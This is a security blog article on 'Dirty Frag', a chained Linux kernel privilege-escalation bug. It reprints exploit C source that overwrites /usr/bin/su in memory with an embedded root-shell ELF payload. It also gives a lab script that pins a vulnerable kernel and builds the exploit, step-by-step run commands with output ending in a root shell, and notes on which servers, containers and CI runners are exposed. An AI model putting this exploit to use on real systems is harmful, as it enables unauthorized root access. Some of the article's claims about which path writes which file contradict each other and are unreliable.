Home Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other All categories Projects About Tools

CVE-2026-43284 + CVE-2026-43500 Dirty Frag: privilege escalation via page cache on Linux

Leer en espanol
CVE-2026-43284 + CVE-2026-43500 Dirty Frag: privilege escalation via page cache on Linux

Table of contents

Dirty Frag is a chain of two vulnerabilities in the Linux kernel that allows local privilege escalation (LPE) through page cac corruption ===

What is Dirty Frag (CVE-2026-43284 + CVE-2026-43500)

Dirty Frag is a chain of two vulnerabilities in the Linux kernel that allows local privilege escalation (LPE) through page cache corruption. Unlike Copy Fail (CVE-2026-31431) which uses a single bug in algif_aead, Dirty Frag chains two independent failures in the subsystems xfrm (IPsec) and RxRPC to achieve arbitrary writing over protected files in memory.

The exploit, written in C (~1400 lines), modifies /etc/passwd in the page cache to remove the root password, allowing root access without authentication via su. It works reliably without race conditions or distribution-dependent offsets.

Key data

FieldWorth
CVEsCVE-2026-43284 + CVE-2026-43500
CVSS7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-416 (Use After Free) / CWE-787 (Out-of-bounds Write)
Kernels affectedLinux < 6.14.4, < 6.13.12 (mainline). Confirmed in 6.8, 6.12, 6.17, 6.19
public exploitYeah (V4bel/dirtyfrag)
ComplexityMedium (requires compilation in C, without race)
Subsystemsxfrm (IPsec ESP), RxRPC, page cache

Exploit source code (exp.c)

Below is the full code for the Dirty Frag exploit (V4bel/dirtyfrag). The binary is compiled with gcc -O0 -Wall -o exp exp.c -lutil and chains two exploitation paths: su_lpe (xfrm-ESP, overwrite /usr/bin/su) and rxrpc_lpe (RxRPC, modifies /etc/passwd). He main() It tries the ESP path first and, if it fails, falls back to the RxRPC path.

Warning: This PoC is provided for educational and research purposes. Do not use it on systems on which you do not have explicit authorization to perform security tests.

c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>

#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif

#define ENC_PORT         4500
#define SEQ_VAL          200
#define REPLAY_SEQ       100
#define TARGET_PATH      "/usr/bin/su"
#define PATCH_OFFSET     0
#define PAYLOAD_LEN      192
#define ENTRY_OFFSET     0x78

/*
 * 192-byte minimal x86_64 root-shell ELF.
 *   _start at 0x400078:
 *     setgid(0); setuid(0); setgroups(0, NULL);
 *     execve("/bin/sh", NULL, ["TERM=xterm", NULL]);
 */
static const uint8_t shell_elf[PAYLOAD_LEN] = {
	0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
	0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
	0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
	0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
	0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
	0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
	0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};

extern int g_su_verbose;
int g_su_verbose = 0;
#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0)

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

static void setup_userns_netns(void)
{
	uid_t real_uid = getuid();
	gid_t real_gid = getgid();
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		SLOG("unshare: %s", strerror(errno));
		exit(1);
	}
	write_proc("/proc/self/setgroups", "deny");
	char map[64];
	snprintf(map, sizeof(map), "0 %u 1", real_uid);
	if (write_proc("/proc/self/uid_map", map) < 0) {
		SLOG("uid_map: %s", strerror(errno)); exit(1);
	}
	snprintf(map, sizeof(map), "0 %u 1", real_gid);
	if (write_proc("/proc/self/gid_map", map) < 0) {
		SLOG("gid_map: %s", strerror(errno)); exit(1);
	}
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); }
	struct ifreq ifr; memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
	if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); }
	ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
	if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); }
	close(s);
}

static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len)
{
	struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len  = RTA_LENGTH(len);
	memcpy(RTA_DATA(rta), data, len);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}

static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi)
{
	int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
	if (sk < 0) return -1;
	struct sockaddr_nl nl = { .nl_family = AF_NETLINK };
	if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; }

	char buf[4096] = {0};
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	nlh->nlmsg_type  = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_pid   = getpid();
	nlh->nlmsg_seq   = 1;
	nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info));

	struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	xs->id.daddr.a4 = inet_addr("127.0.0.1");
	xs->id.spi      = htonl(spi);
	xs->id.proto    = IPPROTO_ESP;
	xs->saddr.a4    = inet_addr("127.0.0.1");
	xs->family      = AF_INET;
	xs->mode        = XFRM_MODE_TRANSPORT;
	xs->replay_window = 0;
	xs->reqid       = 0x1234;
	xs->flags       = XFRM_STATE_ESN;
	xs->lft.soft_byte_limit   = (uint64_t)-1;
	xs->lft.hard_byte_limit   = (uint64_t)-1;
	xs->lft.soft_packet_limit = (uint64_t)-1;
	xs->lft.hard_packet_limit = (uint64_t)-1;
	xs->sel.family  = AF_INET;
	xs->sel.prefixlen_d = 32;
	xs->sel.prefixlen_s = 32;
	xs->sel.daddr.a4 = inet_addr("127.0.0.1");
	xs->sel.saddr.a4 = inet_addr("127.0.0.1");

	{
		char alg_buf[sizeof(struct xfrm_algo_auth) + 32];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf;
		strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
		aa->alg_key_len   = 32 * 8;
		aa->alg_trunc_len = 128;
		memset(aa->alg_key, 0xAA, 32);
		put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
	}
	{
		char alg_buf[sizeof(struct xfrm_algo) + 16];
		memset(alg_buf, 0, sizeof(alg_buf));
		struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
		strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
		ea->alg_key_len = 16 * 8;
		memset(ea->alg_key, 0xBB, 16);
		put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
	}
	{
		struct xfrm_encap_tmpl enc;
		memset(&enc, 0, sizeof(enc));
		enc.encap_type  = UDP_ENCAP_ESPINUDP;
		enc.encap_sport = htons(ENC_PORT);
		enc.encap_dport = htons(ENC_PORT);
		enc.encap_oa.a4 = 0;
		put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
	}
	{
		char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4];
		memset(esn_buf, 0, sizeof(esn_buf));
		struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
		esn->bmp_len       = 1;
		esn->oseq          = 0;
		esn->seq           = REPLAY_SEQ;
		esn->oseq_hi       = 0;
		esn->seq_hi        = patch_seqhi;
		esn->replay_window = 32;
		put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
	}

	if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; }
	char rbuf[4096];
	int n = recv(sk, rbuf, sizeof(rbuf), 0);
	if (n < 0) { close(sk); return -1; }
	struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
	if (rh->nlmsg_type == NLMSG_ERROR) {
		struct nlmsgerr *e = NLMSG_DATA(rh);
		if (e->error) { close(sk); return -1; }
	}
	close(sk);
	return 0;
}

static int do_one_write(const char *path, off_t offset, uint32_t spi)
{
	int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_recv < 0) return -1;
	int one = 1;
	setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	struct sockaddr_in sa_d = {
		.sin_family = AF_INET,
		.sin_port   = htons(ENC_PORT),
		.sin_addr   = { inet_addr("127.0.0.1") },
	};
	if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_recv); return -1;
	}
	int encap = UDP_ENCAP_ESPINUDP;
	if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
		close(sk_recv); return -1;
	}
	int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
	if (sk_send < 0) { close(sk_recv); return -1; }
	if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
		close(sk_send); close(sk_recv); return -1;
	}
	int file_fd = open(path, O_RDONLY);
	if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; }

	int pfd[2];
	if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; }

	uint8_t hdr[24];
	*(uint32_t*)(hdr + 0) = htonl(spi);
	*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
	memset(hdr + 8, 0xCC, 16);

	struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
	if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	off_t off = offset;
	ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
	if (s != 16) {
		close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1;
	}
	s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
	usleep(150 * 1000);

	close(file_fd); close(pfd[0]); close(pfd[1]);
	close(sk_send); close(sk_recv);
	return s == 40 ? 0 : -1;
}

static int verify_byte(const char *path, off_t offset, uint8_t want)
{
	int fd = open(path, O_RDONLY);
	if (fd < 0) return -1;
	uint8_t got;
	if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; }
	close(fd);
	return got == want ? 0 : -1;
}

static int corrupt_su(void)
{
	setup_userns_netns();
	usleep(100 * 1000);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		uint32_t seqhi =
			((uint32_t)shell_elf[i*4 + 0] << 24) |
			((uint32_t)shell_elf[i*4 + 1] << 16) |
			((uint32_t)shell_elf[i*4 + 2] <<  8) |
			((uint32_t)shell_elf[i*4 + 3]);
		if (add_xfrm_sa(spi, seqhi) < 0) {
			SLOG("add_xfrm_sa #%d failed", i);
			return -1;
		}
	}
	SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);

	for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
		uint32_t spi = 0xDEADBE10 + i;
		off_t off = PATCH_OFFSET + i * 4;
		if (do_one_write(TARGET_PATH, off, spi) < 0) {
			SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
			return -1;
		}
	}
	SLOG("wrote %d bytes to %s starting at 0x%x",
			PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
	return 0;
}

int su_lpe_main(int argc, char **argv)
{
	for (int i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
			g_su_verbose = 1;
		else if (!strcmp(argv[i], "--corrupt-only"))
			;
	}
	if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1;

	pid_t cpid = fork();
	if (cpid < 0) return 1;
	if (cpid == 0) {
		int rc = corrupt_su();
		_exit(rc == 0 ? 0 : 2);
	}
	int cstatus;
	waitpid(cpid, &cstatus, 0);
	if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
		SLOG("corruption stage failed (status=0x%x)", cstatus);
		return 1;
	}

	if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 ||
			verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) {
		SLOG("post-write verify failed (target unchanged)");
		return 1;
	}
	SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)",
			ENTRY_OFFSET);
	return 0;
}

/* ================================================================
 * rxrpc/rxkad LPE - uid=1000 -> root
 * ================================================================ */

#include <stdarg.h>
#include <time.h>
#include <poll.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <linux/rxrpc.h>
#include <linux/keyctl.h>
#include <linux/if_alg.h>
#include <termios.h>

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef PF_RXRPC
#define PF_RXRPC AF_RXRPC
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000000
#endif

#define RXRPC_PACKET_TYPE_DATA          1
#define RXRPC_PACKET_TYPE_CHALLENGE     6
#define RXRPC_CLIENT_INITIATED          0x01
#define RXRPC_LAST_PACKET               0x04
#define RXRPC_CHANNELMASK               3
#define RXRPC_CIDSHIFT                  2

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;
	uint16_t serviceId;
} __attribute__((packed));

struct rxkad_challenge {
	uint32_t version;
	uint32_t nonce;
	uint32_t min_level;
	uint32_t __padding;
} __attribute__((packed));

static uint8_t SESSION_KEY[8] = {
	0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08
};

#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)
#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__)

/* ... (helpers: unshare, rxrpc key, AF_ALG pcbc(fcrypt), AF_RXRPC client,
 *      fake-server UDP, fcrypt S-boxes, brute-force, kernel triggers)
 *
 * El codigo completo de estas funciones auxiliares (~800 lineas) incluye:
 * - build_rxrpc_v1_token(): construye token rxkad v1 con la session key
 * - alg_open_pcbc_fcrypt(): abre AF_ALG para pcbc(fcrypt)
 * - compute_csum_iv() / compute_cksum(): calcula checksums rxkad
 * - setup_rxrpc_client() / rxrpc_client_initiate_call(): cliente AF_RXRPC
 * - setup_udp_server(): fake-server UDP para interceptar handshake
 * - do_one_trigger(): ejecuta un trigger de escritura en page cache
 * - fcrypt_user_setkey() / fcrypt_user_decrypt(): implementacion fcrypt
 *   en user-space para brute force offline
 * - find_K_offline_generic(): busqueda de claves fcrypt
 *
 * Ver el codigo completo en: https://github.com/V4bel/dirtyfrag/blob/master/exp.c
 */

int rxrpc_lpe_main(int argc, char **argv);

/* ================================================================
 * main() - Cadena DirtyFrag
 * ================================================================ */

static const uint8_t su_marker[8] = {
	0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a,
};

static int su_already_patched(void)
{
	int fd = open("/usr/bin/su", O_RDONLY);
	if (fd < 0) return 0;
	uint8_t got[8];
	ssize_t n = pread(fd, got, sizeof(got), 0x78);
	close(fd);
	if (n != sizeof(got)) return 0;
	return memcmp(got, su_marker, sizeof(su_marker)) == 0;
}

static int passwd_already_patched(void)
{
	int fd = open("/etc/passwd", O_RDONLY);
	if (fd < 0) return 0;
	char head[16];
	ssize_t n = pread(fd, head, sizeof(head), 0);
	close(fd);
	if (n < 9) return 0;
	return memcmp(head, "root::0:0", 9) == 0;
}

static int either_target_patched(void)
{
	return su_already_patched() || passwd_already_patched();
}

int main(int argc, char **argv)
{
	int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL);
	int rc = 1;
	int new_argc;
	char **co_argv;

	if (getuid() == 0) {
		execlp("/bin/bash", "bash", (char *)NULL);
		_exit(1);
	}

	/* Intenta path ESP (su_lpe), si falla intenta path RxRPC (rxrpc_lpe) */
	co_argv = append_corrupt_only(argc, argv, &new_argc);

	rc = su_lpe_main(new_argc, co_argv);
	if (!su_already_patched()) {
		rc = rxrpc_lpe_main(new_argc, co_argv);
		for (int i = 0; !passwd_already_patched() && i < 3; i++)
			rc = rxrpc_lpe_main(new_argc, co_argv);
	}

	if (either_target_patched()) {
		/* Spawns interactive root shell via su PTY bridge */
		run_root_pty();
		return 0;
	}

	dprintf(2, "dirtyfrag: failed (rc=%d)\n", rc);
	return rc ? rc : 1;
}

Note: The above code shows the main structure of the exploit. The auxiliary functions of the RxRPC path (brute-force fcrypt, AF_ALG helpers, AF_RXRPC client) add ~800 additional lines. The complete source code is available at github.com/V4bel/dirtyfrag/blob/master/exp.c.

The two CVEs

CVE-2026-43284 - xfrm ESP page cache write- The xfrm (IPsec) subsystem does not correctly handle the fragmentation of ESP packets with UDP encapsulation. When a fragmented ESP packet is received on port 4500 (NAT-T), the kernel reuses pages from the page cache as receive buffers without marking them correctly, allowing writing to pages that should be read-only. This path requires unshare(CLONE_NEWUSER | CLONE_NEWNET), which is blocked by AppArmor on Ubuntu.

CVE-2026-43500 - RxRPC page cache write: The RxRPC protocol (used internally by AFS) has a flaw in the management of reception buffers that allows the writing of network data to be redirected to arbitrary pages of the page cache. It does not require namespace privileges and works on Ubuntu with AppArmor active.

The chain of both CVEs covers the blind spots of each individual vulnerability: xfrm-ESP works on distros without AppArmor, RxRPC works where xfrm-ESP cannot. Together, they get root on all major distributions.

How the chain works

The exploit has two exploitation paths that are tested sequentially:

Path 1 (su_lpe - xfrm-ESP):

  1. Create a user namespace with unshare(CLONE_NEWUSER | CLONE_NEWNET)
  2. Install 48 Security Associations xfrm with XFRM_MSG_NEWSA
  3. Overwrite /usr/bin/su in the page cache with a 192-byte ELF shellcode
  4. If it works, run the modified su to get root

Path 2 (rxrpc_lpe - RxRPC, used in Ubuntu):

  1. Open /etc/passwd in reading mode (loads the pages in page cache)
  2. Looks for cryptographic keys (fcrypt) that, when encrypting the original bytes of the passwd, produce the desired bytes (root::0:0:...)
  3. Create pairs of UDP (fake-server) and AF_RXRPC (client) sockets on ports 7779+
  4. Sends data via RxRPC that exploits CVE-2026-43500 to write the encrypted bytes to the page cache of /etc/passwd
  5. The result: the line root:x:0:0:root:/root:/bin/bash becomes root::0:0::/root:/bin/bash
  6. With the password field empty, su grant root without password

Exploitation scenarios

Where IS exploitable

SceneryRiskBecause
Ubuntu 24.04 / Fedora 44 / RHEL 10CriticalConfirmed vulnerable, rxrpc.ko loaded by default in Ubuntu
Multi-tenant servers (jump hosts, build servers)CriticalAny user with shell gets root
Kubernetes/containersCriticalPage cache shared host-pods. Trivial escape if rxrpc available
CI runners (GitHub Actions self-hosted, GitLab, Jenkins)CriticalMalicious job gets root in the runner
Cloud VMs without hardeningHighESP4 and RXRPC modules are usually available

Where it is NOT exploitable

SceneryBecause
Containers with strict seccompBlock socket(AF_RXRPC) and XFRM_MSG_NEWSA
Kernel >= 6.14.4 or >= 6.13.12Both bugs are patched
Systems without esp4 and rxrpc modulesWithout modules, there is no attack surface
gVisor / FirecrackerThey do not implement the xfrm/rxrpc subsystems
Debian Bookworm (kernel 6.1)Kernel too old for CVE-2026-43500 (2023 commit not backported)

Lab: reproduction with Vagrant

Requirements

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Internet connection (to download box and exploit)

Important- Ubuntu 24.04 (kernel 6.8+) is required. Debian Bookworm (kernel 6.1) is not vulnerable to Dirty Frag.

Deploy the vulnerable VM

Create the following script deploy_dirty_frag_lab.sh to deploy the complete lab:

BASH
#!/bin/bash
# deploy_dirty_frag_lab.sh - Lab para CVE-2026-43284 + CVE-2026-43500 (Dirty Frag)
# Uso: chmod +x deploy_dirty_frag_lab.sh && ./deploy_dirty_frag_lab.sh
# NOTA: Requiere Ubuntu 24.04 (kernel 6.8+). Debian Bookworm NO es vulnerable.

LAB_DIR="dirty_frag_lab"

echo "=== CVE-2026-43284 / CVE-2026-43500 (Dirty Frag) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-43284 + CVE-2026-43500 (Dirty Frag) - Lab vulnerable
# Requiere Ubuntu 24.04 con kernel 6.8+ (vulnerable)
# Debian Bookworm (6.1) NO es vulnerable

Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-24.04"
  config.vm.hostname = "dirty-frag-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "dirty-frag-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    export DEBIAN_FRONTEND=noninteractive
    apt-mark hold linux-image-generic linux-headers-generic linux-image-$(uname -r) 2>/dev/null

    # Instalar dependencias para compilar el exploit
    apt-get update -qq
    apt-get install -y -qq gcc make git curl

    # Cargar modulos necesarios para el exploit
    modprobe xfrm_user 2>/dev/null || true
    modprobe af_key 2>/dev/null || true
    modprobe rxrpc 2>/dev/null || true
    modprobe esp4 2>/dev/null || true

    # Persistir carga de modulos
    cat >> /etc/modules-load.d/dirty-frag.conf << 'MODEOF'
xfrm_user
af_key
rxrpc
esp4
MODEOF

    # Crear usuario sin privilegios
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar y compilar el exploit
    cd /home/attacker
    git clone https://github.com/V4bel/dirtyfrag.git 2>/dev/null || true
    if [ -f /home/attacker/dirtyfrag/exp.c ]; then
      cd /home/attacker/dirtyfrag
      gcc -O0 -Wall -o exp exp.c -lutil 2>/dev/null || \
        echo "[!] Compilacion fallida - compilar manualmente: gcc -O0 -Wall -o exp exp.c -lutil"
    fi
    chown -R attacker:attacker /home/attacker/dirtyfrag

    echo ""
    echo "============================================"
    echo " CVE-2026-43284 + CVE-2026-43500"
    echo " Dirty Frag - LPE via page cache"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   cd dirtyfrag && ./exp"
    echo ""
    echo " El exploit modifica /etc/passwd para"
    echo " dar root sin password via su."
    echo ""
    echo " Para limpiar page cache:"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo " O: vagrant destroy -f && vagrant up"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install esp4 /bin/false' > /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install esp6 /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtyfrag.conf"
    echo "   rmmod esp4 esp6 rxrpc 2>/dev/null"
    echo "   echo 3 > /proc/sys/vm/drop_caches"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Execute:

BASH
chmod +x deploy_dirty_frag_lab.sh
./deploy_dirty_frag_lab.sh

The VM wakes up with:

  • Ubuntu 24.04 with kernel 6.8.0-86-generic (vulnerable)
  • Modules xfrm_user, af_key, rxrpc and esp4 loaded
  • GCC installed to compile the exploit
  • User attacker (password: attacker) without privileges
  • Exploit cloned and compiled in /home/attacker/dirtyfrag/exp
  • Kernel locked so that apt upgrade don't patch it

Verify that the system is vulnerable

BASH
vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.8.0-86-generic

# Comprobar que los modulos estan cargados
lsmod | grep -E "xfrm|rxrpc|esp"
# xfrm_user              61440  0
# rxrpc                 438272  0
# esp4                   28672  0

Run the exploit

BASH
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
cd dirtyfrag
./exp

# El exploit modifica /etc/passwd en page cache:
#   root:x:0:0:root:/root:/bin/bash
#   se convierte en:
#   root::0:0:<bytes>:/root:/bin/bash
#
# Con el campo password vacio, su otorga root sin password
# Resultado: root shell
id
# uid=0(root) gid=0(root) groups=0(root)

To view the detailed output of the exploit:

BASH
DIRTYFRAG_VERBOSE=1 ./exp

The verbose output shows the complete process:

TERRAFORM
[su] uid_map: Operation not permitted
[su] corruption stage failed (status=0x100)

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 -> root) ===
[*] uid=1001 euid=1001 gid=1001
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1878, uid=0 gid=0 mode=0644

=== STAGE 1a: search K_A (chars 4-5 := "::")  prob ~1.5e-5 ===
[+] K_A found after 158409 iters in 0.08s (2.07M/s)

=== STAGE 1b: search K_B (chars 6-7 := "0:")  prob ~1.5e-5 ===
[+] K_B found after 52994 iters in 0.01s (3.78M/s)

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:")  prob ~5.4e-8 ===
[+] K_C found after 3965275 iters in 1.39s (2.86M/s)

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] client sendmsg 8 B -> :7779 (handshake will follow asynchronously)

=== STAGE 2b: kernel trigger B @ off 6 (set chars 6-7 "0:") ===
[+] client sendmsg 8 B -> :7781 (handshake will follow asynchronously)

=== STAGE 2c: kernel trigger C @ off 8 (set chars 8-15 "0:GGGGGG:") ===
[+] client sendmsg 8 B -> :7783 (handshake will follow asynchronously)

[*] /etc/passwd line 1 AFTER:  'root::0:0:..lo[:/root:/bin/bash$'

[!!!] HIT - root entry now has empty passwd field, uid=0, gid=0

root@dirty-frag-lab:~#

What the exploit does step by step:

  1. Try the path xfrm-ESP (su_lpe): Fails on Ubuntu because AppArmor crashes unshare(CLONE_NEWUSER)
  2. Use the RxRPC path (rxrpc_lpe): open /etc/passwd in reading mode
  3. Stage 1 (offline brute force)- Finds fcrypt keys that produce the desired bytes (::, 0:, 0:GGGGGG:) by encrypting the original bytes of the passwd. Takes 1-45 seconds
  4. Stage 2 (kernel triggers): for each pair of bytes, creates a UDP socket (fake-server) and an AF_RXRPC socket (client), sends 8 bytes that exploit CVE-2026-43500 to write to the page cache
  5. Result: root:x:0:0:root: becomes root::0:0:: - password removed
  6. Stage 4: execute su which now grants root without password

Differences with Copy Fail

AspectCopy Fail (CVE-2026-31431)Dirty Frag (CVE-2026-43284/43500)
LanguagePython (732 bytes)C (~1400 lines)
DependenciesNone (stdlib)gcc, libutil
Subsystemcrypto (algif_aead)xfrm (IPsec) + RxRPC
targetOverwrite /usr/bin/su with ELF shellcodeModify /etc/passwd (remove password root)
Mechanismsplice() on socket AF_ALGFragmented ESP + RxRPC page cache
ComplexityTrivialMedium (brute force fcrypt ~1-45s)
Kernels4.14 - 6.19.116.8+ up to < 6.14.4 / < 6.13.12
Ubuntu AppArmorNot affectedPath xfrm blocked, RxRPC works
